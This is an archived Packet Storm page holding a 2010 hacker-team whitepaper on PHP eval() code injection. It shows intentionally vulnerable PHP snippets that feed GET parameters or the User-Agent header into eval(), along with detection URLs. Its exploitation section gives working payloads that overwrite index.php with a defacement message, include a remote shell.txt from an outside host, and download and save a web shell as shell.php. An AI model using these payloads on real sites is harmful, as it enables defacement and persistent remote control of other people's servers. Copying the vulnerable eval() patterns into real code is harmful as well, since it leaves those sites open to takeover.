exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Eval() Vulnerability And Exploitation

Eval() Vulnerability And Exploitation
Posted May 4, 2010
Authored by GlaDiaT0R

Whitepaper called eval() vulnerability and exploitation.

tags | paper
SHA-256 | b840532d0b463ebf58abbf5295d97f21c9f188e3f2bde98f1d2d5124cbb98728

Eval() Vulnerability And Exploitation

Change Mirror Download



##############################################################################
# [+]Title: [Eval() Vulnerability & Exploitation]
##############################################################################
# [+] About :
##############################################################################
# Written by : GlaDiaT0R
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com
# Team : Tunisian Power Team ( DarkGh0st.Net )
##############################################################################
# [+] Summary:
# [1]-Introduction
# [2]-Detection
# [3]-Vulnerable Source code
# [4]-Exploiting..
##############################################################################


[1]-Introduction

eval () is a PHP function that allows to interpret a given string as PHP code, because eval () is often used in Web applications,
although interpretation of the chain is widely liked manipulated, eval () serves most of the time to execute php code containing previously defined variable.
the problem is that if eval () executes a variable that you can modify the code contained by php eval () will execute as such.
Reminder: eval () allows execution of a given string as PHP code but not write (or if so desired) its content in this page or others, he is content to perform, and display the result.
We will even two different PHP source code using Eval (), the possibilities of PHP code injection and how how to use eval () can change the syntax of PHP code to execute.

=======================================================


[2]-Detection

PoC 1 :

http://www.vulnsite.com/evalinject.php?ev=<? phpinfo(); ?>

[ eval() execute the contents of the variable "ev" as PHP code ]

----------

PoC 2 :

http://www.vulnsite.com/evalinject.php?ev=phpinfo();

[ eval() execute the contents of the variable "ev" as PHP code (without tags) ]

----------

PoC 3 :

Changing the header or POST variable cited by: phpinfo () [or <? phpinfo ();> php code used . ]
(With the Tamper Data)

[ eval () execute a chain whose variable $ HTTP_USER_AGENT is so just
change your header in PHP code ]

=======================================================


[3]-Vulnerable Source code

PoC 1 :

<?php
$Ev = $_GET['ev'];
$string = ($Ev);
$string = preg_replace_callback("/(<\?=)(.*?)\?>/si",create_function('$string','ob_start();eval("$string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
$string= preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",create_function('$string','ob_start();eval("print $string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
echo $string;
?>

----------

PoC 2 :
<?php
$Ev = $_GET['ev'];
$eva = stripslashes($Ev);
eval($eva);
?>

----------

PoC 3 :

<?php
$string = stripslashes($HTTP_USER_AGENT);
$string = preg_replace_callback("/(<\?=)(.*?)\?>/si",create_function('$string','ob_start();eval("$string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
$string= preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",create_function('$string','ob_start();eval("print $string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
echo $string;
?>

=======================================================

[4]-Exploiting..

----------
Write or Create a page containing : Hacked by ...
<?php $z=fopen("index.php",'w');fwrite($z,("HACKED BY GlaDiaT0R"));fclose($z); ?>

or

$z=fopen("index.php",'w');fwrite($z,("HACKED BY GlaDiaT0R"));fclose($z);
----------
To insert a remote page include using an url
<?php include('http://www.website.com/shell.txt'); ?>

or

include('http://www.website.com/shell.txt');
----------
Insertion of a distant code in the vulnerable website
<?php $z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://www.website.com/shell.txt"));fclose($z); ?>

or

$z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://www.website.com/shell.txt"));fclose($z);
----------

Thank you for your
attention. I hope you understood the process to exploit the eval ()
vulnerability .

_________________________________________________________________
Hotmail : une messagerie fiable avec la protection anti-spam performante de Microsoft
https://signup.live.com/signup.aspx?id=60969


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close